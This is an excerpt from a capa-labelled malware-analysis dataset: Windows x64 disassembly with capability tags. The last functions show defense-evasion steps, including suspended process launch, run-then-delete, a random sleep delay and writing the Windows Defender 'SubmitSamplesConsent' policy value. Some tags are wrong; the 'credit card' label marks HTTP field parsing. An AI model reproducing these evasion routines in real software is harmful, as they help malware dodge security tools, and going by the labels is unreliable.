joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14023a840
Capabilities:
Get common file path

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x28
mov r14, rcx
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r13, rax
test rax, rax
jne 0x14023a86e
xor r12d, r12d
jmp 0x14023a991
lea rdx, str.LoadLibraryExA
mov rcx, rax
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rsi
lea rdx, [0x140371df8]
mov rcx, r14
mov rbx, rax
call sub.msvcrt.dll_strpbrk
mov r12, rax
test rax, rax
je 0x14023a8be
mov r8d, 8
test rbx, rbx
jne 0x14023a8da
mov rcx, r14
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rbx, rbx
je 0x14023a8f3
lea rdx, str.AddDllDirectory
mov rcx, r13
call rsi
test rax, rax
je 0x14023a8f3
mov r8d, 0x800
xor edx, edx
mov rcx, r14
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
mov rsi, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor edx, edx
xor ecx, ecx
call rsi
mov r15d, eax
test eax, eax
je 0x14023a866
mov rcx, r14
call sub.msvcrt.dll_strlen
lea ecx, [r15 + 1]
add rcx, rax
mov rax, qword [0x14037a0e0]
call qword [rax]
mov r13, rax
test rax, rax
je 0x14023a985
mov edx, r15d
mov rcx, rax
call rsi
test eax, eax
je 0x14023a985
mov rcx, r13
call sub.msvcrt.dll_strlen
lea rdx, [0x140371e0b]
lea rcx, [r13 + rax]
call sub.msvcrt.dll_strcpy
mov rcx, r13
call sub.msvcrt.dll_strlen
mov rdx, r14
lea rcx, [r13 + rax]
call sub.msvcrt.dll_strcpy
test rbx, rbx
je 0x14023a979
mov r8d, 8
xor edx, edx
mov rcx, r13
call rbx
jmp 0x14023a982
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
mov rax, qword [0x14037a0d0]
mov rcx, r13
call qword [rax]
mov rax, r12
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14023fef0
Capabilities:
Move file

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x50
movups xmmword [rsp + 0x40], xmm6
lea rbx, [rsp + 0x30]
mov r12, rcx
lea rdi, [rsp + 0x20]
mov r13, rdx
mov rcx, rbx
call fcn.14023bdd0
mov rcx, r12
movups xmm6, xmmword [rsp + 0x30]
call sub.msvcrt.dll__strdup
mov rcx, r13
mov r12, rax
call sub.msvcrt.dll__strdup
mov rsi, qword [sym.imp.KERNEL32.dll_MoveFileExA]
mov r13, rax
mov r8d, 1
mov rdx, r13
mov rcx, r12
call rsi
test eax, eax
je 0x14023ff6c
test r12, r12
je 0x14023ff59
mov rcx, r12
call sub.msvcrt.dll_free
xor eax, eax
test r13, r13
je 0x14023ffc2
mov rcx, r13
call sub.msvcrt.dll_free
xor eax, eax
jmp 0x14023ffc2
mov rcx, rbx
call fcn.14023bdd0
mov rdx, rdi
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm6
call fcn.140243ec0
cmp rax, 0x3e8
jbe 0x14023ffb2
test r12, r12
je 0x14023ff99
mov rcx, r12
call sub.msvcrt.dll_free
mov eax, 1
test r13, r13
je 0x14023ffc2
mov rcx, r13
call sub.msvcrt.dll_free
mov eax, 1
jmp 0x14023ffc2
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14023ff3a
movups xmm6, xmmword [rsp + 0x40]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret

Function at 0x1402417c0
Capabilities:
Set socket configuration

Disassembly:
push r12
sub rsp, 0x40
mov eax, dword [0x140288970]
mov dword [rsp + 0x34], 0x4020
mov r12, rcx
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x3c], 4
test eax, eax
jne 0x140241824
xor r8d, r8d
xor edx, edx
mov r9d, 2
mov ecx, 6
mov dword [rsp + 0x20], 3
call fcn.140259010
test al, al
je 0x140241818
mov dword [0x140288970], 2
jmp 0x14024187c
mov dword [0x140288970], 1
jmp 0x140241829
cmp eax, 2
je 0x14024187c
lea rax, [rsp + 0x3c]
lea r9, [rsp + 0x38]
mov edx, 0xffff
mov rcx, r12
mov qword [rsp + 0x20], rax
mov r8d, 0x1001
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x14024185a
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x38], eax
jg 0x14024187c
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x34]
mov edx, 0xffff
mov rcx, r12
mov r8d, 0x1001
call qword [sym.imp.WS2_32.dll_setsockopt]
nop
add rsp, 0x40
pop r12
ret
Function at 0x140243e30
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
mov r8, rcx
mov r9, rdx
xor ecx, ecx
xor edx, edx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.msvcrt.dll__beginthreadex]
lea rdx, [rax - 1]
cmp rdx, 0xfffffffffffffffe
mov edx, 0
cmovae rax, rdx
add rsp, 0x38
ret
Function at 0x140247aa0
Capabilities:
Initialize winsock library

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x1d0
and cl, 2
je 0x140247ae8
lea rdx, [rsp + 0x38]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140247add
mov eax, dword [rsp + 0x38]
cmp al, 2
jne 0x140247ad7
shr ax, 8
cmp ax, 2
je 0x140247ae8
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov r13d, 2
jmp 0x140247bd7
call fcn.140243370
mov r13d, eax
test eax, eax
jne 0x140247bd7
lea rcx, str.iphlpapi.dll
call fcn.14023a840
mov qword [0x140288c00], rax
mov rcx, rax
test rax, rax
je 0x140247b2c
lea rdx, str.if_nametoindex
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140247b2c
mov qword [0x140288800], rax
lea rcx, str.ws2_32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r12, rax
test rax, rax
je 0x140247b81
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.FreeAddrInfoExW
mov rcx, rax
call rbx
lea rdx, str.GetAddrInfoExCancel
mov rcx, r12
mov qword [0x140287f80], rax
call rbx
lea rdx, str.GetAddrInfoExW
mov rcx, r12
mov qword [0x140287f90], rax
call rbx
mov qword [0x140287fa0], rax
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov ecx, 6
mov dword [rsp + 0x20], 3
call fcn.140259010
mov dword [rsp + 0x20], 3
mov ecx, 6
xor r8d, r8d
mov r9d, 2
mov edx, 2
mov byte [0x140288810], al
call fcn.140259010
lea rcx, [0x1402887f0]
mov byte [0x140288820], al
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, r13d
add rsp, 0x1d0
pop rbx
pop r12
pop r13
ret

Function at 0x140247bf0
Capabilities:
Generate random numbers via winapi

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x40
xor eax, eax
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov rbp, rcx
mov rcx, rdx
mov rbx, rdx
rep stosb byte [rdi], al
xor edx, edx
mov dword [rsp + 0x20], 0xf0000040
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x38], 0
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x140247c5e
mov rcx, qword [rsp + 0x38]
mov edx, ebx
mov r8, rbp
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
xor edx, edx
mov rcx, qword [rsp + 0x38]
test eax, eax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jne 0x140247c58
call rax
jmp 0x140247c5e
call rax
xor eax, eax
jmp 0x140247c63
mov eax, 2
add rsp, 0x40
pop rbx
pop rdi
pop rbp
ret
Function at 0x1402527c0
Capabilities:
Hash data using djb2

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x1402527d3
xor edx, edx
jmp 0x140252852
call fcn.140234a20
test al, al
jne 0x1402527cf
mov rcx, rbx
call sub.msvcrt.dll_strlen
mov edx, 0x2e
mov rcx, rbx
mov r8, rax
mov rsi, rax
call fcn.14023af60
mov r8, rax
test rax, rax
je 0x140252823
sub r8, rbx
mov edx, 0x2e
mov rcx, rbx
call fcn.14023af60
test rax, rax
je 0x140252823
inc rax
mov rdx, rax
sub rdx, rbx
mov rbx, rax
sub rsi, rdx
add rsi, rbx
mov eax, 0x1505
cmp rsi, rbx
jbe 0x140252848
movsx ecx, byte [rbx]
imul rdi, rax, 0x21
inc rbx
call fcn.14023f810
movsx rax, al
xor rax, rdi
jmp 0x14025282b
mov ecx, 0x3f
xor edx, edx
div rcx
mov rax, rdx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x140253b10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov edx, 8
lea r8, [0x14037e9a0]
mov rax, rcx
mov rcx, rax
movzx eax, al
mov eax, dword [r8 + rax*4]
shr rcx, 8
xor rax, rcx
dec edx
jne 0x140253b1f
ret

Function at 0x1402557c0
Capabilities:
Query environment variable

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x28
mov ebx, 1
xor r12d, r12d
mov rsi, rcx
mov rax, qword [0x14037a0f0]
mov rcx, r12
mov edx, ebx
mov r13, r12
call qword [rax]
mov r12, rax
test rax, rax
jne 0x1402557fc
mov rax, qword [0x14037a0d0]
mov rcx, r13
call qword [rax]
jmp 0x140255831
mov rdx, rax
mov r8d, ebx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [rax - 1]
cmp edx, 0x7fff
ja 0x14025581a
cmp ebx, eax
jne 0x14025582b
mov rax, qword [0x14037a0d0]
mov rcx, r12
xor r12d, r12d
call qword [rax]
jmp 0x140255831
ja 0x140255831
mov ebx, eax
jmp 0x1402557d5
mov rax, r12
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
ret

Function at 0x140258e00
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x38
xor eax, eax
test edx, edx
lea r8, [rsp + 0x2c]
mov edx, 0x8004667e
setne al
mov dword [rsp + 0x2c], eax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
add rsp, 0x38
ret

Function at 0x140258e30
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call sub.msvcrt.dll__read
cdqe
add rsp, 0x28
ret
Function at 0x140268960
Capabilities:
Create new key via cryptacquirecontext
Initialize hashing via wincrypt

Disassembly:
push rbx
sub rsp, 0x30
xor r8d, r8d
mov r9d, 0x18
xor edx, edx
mov dword [rsp + 0x20], 0xf0000040
mov rbx, rcx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov r8d, eax
mov eax, 0x1b
test r8d, r8d
je 0x1402689cc
lea rax, [rbx + 8]
xor r8d, r8d
mov rcx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov r8d, eax
xor eax, eax
test r8d, r8d
jne 0x1402689cc
mov rcx, qword [rbx]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov qword [rbx], 0
mov eax, 2
add rsp, 0x30
pop rbx
ret
Function at 0x140275ae0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x140
mov rax, qword [rcx]
mov r13, qword [rax + 0x10]
mov rbx, rcx
mov dword [r9], 0
mov r12, r8
mov rsi, r9
mov rcx, qword [r13 + 0x98]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd r14, eax
mov rdi, r14
cmp r14d, 0xffffffff
jne 0x140275b70
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebp, eax
cmp eax, 0x2733
jne 0x140275b3b
mov dword [rsi], 0x51
jmp 0x140275b70
lea rdx, [rsp + 0x40]
mov r8d, 0x100
mov ecx, eax
call fcn.140243a20
mov rcx, qword [rbx + 8]
lea rdx, str.Recv_failure:__s
mov r8, rax
call fcn.140232170
mov rax, qword [rbx + 8]
mov dword [rax + 0xbb4], ebp
mov dword [rsi], 0x38
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140275bca
test byte [rcx + 0x986], 0x20
je 0x140275bca
mov rax, qword [rcx + 0x1120]
test rax, rax
je 0x140275b94
cmp dword [rax + 8], 0
jle 0x140275bca
mov rdx, qword [rbx]
test rdx, rdx
je 0x140275bca
mov rax, qword [rdx]
cmp dword [rax + 0xc], 0
jle 0x140275bca
mov eax, dword [rsi]
mov dword [rsp + 0x28], edi
mov r9, r12
lea r8, str.nw_in_read_len_zu__fd_zd______d__err_d
mov dword [rsp + 0x30], eax
mov rax, qword [r13 + 0x98]
mov qword [rsp + 0x20], rax
call fcn.1402441e0
mov rax, r14
add rsp, 0x140
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x14027be50
Capabilities:
Send data
Send data on socket

Disassembly:
sub rsp, 0x48
mov r8d, 0x1008
mov edx, 0xffff
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x50], rcx
lea r9, [rsp + 0x38]
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x14027bea0
cmp dword [rsp + 0x38], 1
mov rcx, qword [rsp + 0x50]
jne 0x14027bea0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WS2_32.dll_send]
nop
add rsp, 0x48
ret
Function at 0x14027eb30
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
xor eax, eax
mov rdi, r8
mov r12, rcx
mov rcx, r9
mov dword [rsp + 0x3c], r9d
rep stosb byte [rdi], al
mov rsi, rdx
mov rbp, r8
mov rbx, r9
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x40]
mov r9d, 0x18
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x38], 4
mov dword [rsp + 0x20], 0xf0000040
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x14027ec49
lea rax, [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14027ec27
xor r9d, r9d
mov rcx, qword [rsp + 0x48]
mov r8d, esi
mov rdx, r12
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x14027ec27
mov rcx, qword [rsp + 0x48]
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x34]
mov dword [rsp + 0x20], 0
mov rsi, qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov edx, 4
call rsi
test eax, eax
je 0x14027ec27
mov eax, dword [rsp + 0x34]
cmp rbx, rax
jb 0x14027ec27
mov dword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x48]
lea r9, [rsp + 0x3c]
mov r8, rbp
mov edx, 2
call rsi
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14027ec37
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14027ec49
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140280650
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push r13
push r12
push rdi
push rbx
sub rsp, 0x1c8
mov r9, qword [rcx + 0x98]
mov rbx, rcx
mov r12, rdx
cmp r9, 0xffffffffffffffff
je 0x140280743
mov rax, qword [rdx + 0x20]
mov rax, qword [rax + 0x348]
mov eax, dword [rax + 0x8c]
and eax, 0x800
jne 0x140280743
lea r13, [rsp + 0x40]
mov ecx, 0x20
lea r8, [rsp + 0x3c]
mov dword [rsp + 0x3c], pe_nt_image_headers64
mov rdi, r13
mov rdx, r13
rep stosd dword [rdi], eax
mov rcx, r9
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x1402806e8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, [rsp + 0xc0]
mov r8d, 0x100
mov ecx, eax
mov ebx, eax
call fcn.140243a20
mov r8d, ebx
lea rdx, str.getsockname___failed_with_errno__d:__s
mov r9, rax
jmp 0x14028073a
mov edx, dword [rsp + 0x3c]
lea r9, [rbx + 0x140]
lea r8, [rbx + 0x10e]
mov rcx, r13
call fcn.140224ae0
test al, al
jne 0x140280743
mov rbx, qword [sym.imp.msvcrt.dll__errno]
call rbx
lea rdx, [rsp + 0xc0]
mov r8d, 0x100
mov ecx, dword [rax]
call fcn.140243a20
mov qword [rsp + 0x28], rax
call rbx
mov r9, qword [rsp + 0x28]
lea rdx, str.ssloc_inet_ntop___failed_with_errno__d:__s
mov r8d, dword [rax]
mov rcx, r12
call fcn.140232170
nop
add rsp, 0x1c8
pop rbx
pop rdi
pop r12
pop r13
ret
Function at 0x140280e60
Capabilities:
Parse credit card information

Disassembly:
push r14
push r13
push r12
sub rsp, 0x20
mov eax, dword [rcx + 0x10]
and eax, 3
mov r12, rcx
mov r14, rdx
mov r13, r8
cmp eax, 1
je 0x140280e94
cmp eax, 2
je 0x140280ec5
test eax, eax
jne 0x140280ea6
call fcn.140279060
test eax, eax
jne 0x140280f58
mov eax, dword [r12 + 0x10]
and eax, 0xfffffffc
or eax, 2
mov dword [r12 + 0x10], eax
jmp 0x140280ec5
mov r8d, 0x283
lea rdx, str.nghttp2_lib_sfparse.c
lea rcx, [0x140379227]
call qword [sym.imp.msvcrt.dll__assert]
call sub.msvcrt.dll_abort
mov rax, qword [r12]
cmp rax, qword [r12 + 8]
je 0x140280ed5
cmp byte [rax], 0x3b
je 0x140280ee2
or dword [r12 + 0x10], 3
mov eax, 0xfffffffe
jmp 0x140280f58
inc rax
mov rcx, r12
mov qword [r12], rax
call fcn.140278e00
mov rax, qword [r12 + 8]
cmp qword [r12], rax
jne 0x140280f01
or eax, 0xffffffff
jmp 0x140280f58
mov rdx, r14
call fcn.140278e20
test eax, eax
jne 0x140280f58
mov rdx, qword [r12]
mov rcx, qword [r12 + 8]
cmp rdx, rcx
je 0x140280f20
cmp byte [rdx], 0x3d
je 0x140280f37
test r13, r13
je 0x140280f58
mov qword [r13], 0
mov dword [r13 + 8], 1
jmp 0x140280f58
inc rdx
mov qword [r12], rdx
cmp rdx, rcx
je 0x140280efc
mov rdx, r13
mov rcx, r12
add rsp, 0x20
pop r12
pop r13
pop r14
jmp fcn.140278a50
add rsp, 0x20
pop r12
pop r13
pop r14
ret

Function at 0x140283cf0
Capabilities:
Set socket configuration

Disassembly:
push r12
sub rsp, 0x140
mov r8d, 1
mov r12, rcx
mov dword [rsp + 0x3c], 1
mov rcx, rdx
lea r9, [rsp + 0x3c]
mov dword [rsp + 0x20], 4
mov edx, 6
call qword [sym.imp.WS2_32.dll_setsockopt]
test r12, r12
je 0x140283d77
test eax, eax
jns 0x140283d77
test byte [r12 + 0x986], 0x20
je 0x140283d77
mov rax, qword [r12 + 0x1120]
test rax, rax
je 0x140283d4c
cmp dword [rax + 8], 0
jle 0x140283d77
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, [rsp + 0x40]
mov r8d, 0x100
mov ecx, eax
call fcn.140243a20
lea rdx, str.Could_not_set_TCP_NODELAY:__s
mov rcx, r12
mov r8, rax
call fcn.140239c50
nop
add rsp, 0x140
pop r12
ret
Function at 0x140001450
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
mov r11, rsp
sub rsp, 0xf8
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rsp + 0x78], xmm0
xor eax, eax
xor edx, edx
cmp qword [rcx + 0x18], 7
movups xmmword [r11 - 0x50], xmm0
mov dword [r11 - 0x4c], 1
mov word [r11 - 0x48], dx
movups xmmword [r11 - 0x70], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [r11 - 0x60], xmm0
movups xmmword [r11 - 0x40], xmm0
movups xmmword [r11 - 0x30], xmm0
movups xmmword [rsp + 0x50], xmm0
jbe 0x1400014ba
mov rcx, qword [rcx]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], edx
mov rdx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000152a
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140004fa0
add rsp, 0xf8
ret
Function at 0x140001cd0
Capabilities:
Check internet connectivity via wininet

Disassembly:
sub rsp, 0x28
xor r8d, r8d
lea rcx, str.http:__www.google.com
mov edx, 1
call qword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
setne al
add rsp, 0x28
ret

Function at 0x140001d00
Capabilities:
Create process on windows
Delete file

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0xf0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0x70], 0x68
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xor ecx, ecx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rbx, rdx
mov qword [rsp + 0x38], rcx
xor r9d, r9d
mov qword [rsp + 0x30], rcx
xor r8d, r8d
movups xmmword [r11 - 0x50], xmm0
mov word [r11 - 0x48], cx
xor edx, edx
mov dword [rsp + 0x28], 0x8000008
mov dword [rsp + 0x20], ecx
mov rcx, rbx
movups xmmword [r11 - 0x70], xmm0
mov dword [r11 - 0x4c], 0x81
movups xmmword [r11 - 0x60], xmm0
movups xmmword [r11 - 0x40], xmm0
movups xmmword [r11 - 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001dc2
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140001dc2
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140004fa0
add rsp, 0xf0
pop rbx
ret

Function at 0x140001df0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, 0x13c8
call fcn.140006100
sub rsp, rax
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x13b0], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x13a4], 0xffffffff
mov edx, 1
mov dword [rsp + 0x24], eax
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x24], eax
inc rdx
cmp rdx, 0x270
jb 0x140001e30
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x270
call fcn.140004cb0
mov ecx, eax
imul rcx, rcx, 0xfa1
cmp ecx, 0x71e
ja 0x140001e8d
lea rcx, [rsp + 0x20]
call fcn.140004cb0
mov ecx, eax
imul rcx, rcx, 0xfa1
cmp ecx, 0x71f
jb 0x140001e72
shr rcx, 0x20
add ecx, 0x800003e8
btc ecx, 0x1f
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x13b0]
xor rcx, rsp
call fcn.140004fa0
add rsp, 0x13c8
ret
Function at 0x1400027a0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x47], rax
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderSpynet
lea rcx, [rbp + 7]
call fcn.1400040d0
nop
lea rdx, str.SubmitSamplesConsent
lea rcx, [rbp + 0x27]
call fcn.1400040d0
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rdx, qword [rbp + 7]
lea rax, [rbp - 1]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 9]
mov qword [rsp + 0x38], rax
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x102
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400028bc
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp - 1], ebx
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rdx, qword [rbp + 7]
mov qword [rsp + 0x40], rbx
lea rax, [rbp - 9]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x102
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400028bc
lea rdx, [rbp + 0x27]
cmp qword [rbp + 0x3f], 7
cmova rdx, qword [rbp + 0x27]
mov dword [rsp + 0x28], 4
lea rax, [rbp - 1]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp + 0x3f]
cmp rdx, 7
jbe 0x1400028ff
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
movdqa xmm0, xmmword [0x140008d30]
movdqu xmmword [rbp + 0x37], xmm0
mov word [rbp + 0x27], bx
mov rdx, qword [rbp + 0x1f]
cmp rdx, 7
jbe 0x140002953
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000294e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000294e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140004fa0
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rbp
ret